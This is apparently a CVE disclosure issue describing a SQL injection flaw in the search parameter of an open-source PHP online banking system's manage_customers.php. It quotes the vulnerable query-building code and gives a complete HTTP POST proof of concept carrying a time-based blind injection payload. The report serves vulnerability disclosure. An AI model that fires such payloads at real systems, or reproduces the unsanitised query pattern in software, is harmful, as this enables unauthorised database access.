Headline
CVE-2022-40121: Found a vulnerability · Issue #12 · zakee94/online-banking-system
Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/manage_customers.php.
Vulnerability file address
net-banking/manage_customers.php from line 11,The $_POST[‘search’] parameter is controllable, the parameter search can be passed through post, and the $search is not protected from sql injection, line 70 $result = $conn->query($sql0); made a sql query,resulting in sql injection
… … … if (isset($_POST[‘submit’])) { $back_button = TRUE; $search = $_POST[‘search’]; $by = $_POST[‘by’];
if ($by == "name") {
$sql0 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
WHERE first\_name LIKE '%".$search."%' OR last\_name LIKE '%".$search."%'
OR CONCAT(first\_name, ' ', last\_name) LIKE '%".$search."%'";
}
else {
$sql0 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
WHERE account\_no LIKE '$search'";
}
}
… … …
<?php
$result = $conn\->query($sql0);
… … …
POC
POST /net-banking/manage_customers.php HTTP/1.1 Host: www.bank.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3 Content-Length: 16
submit=&search=’ AND (SELECT 4752 FROM (SELECT(SLEEP(5)))giHH)-- gbXY
Attack results pictures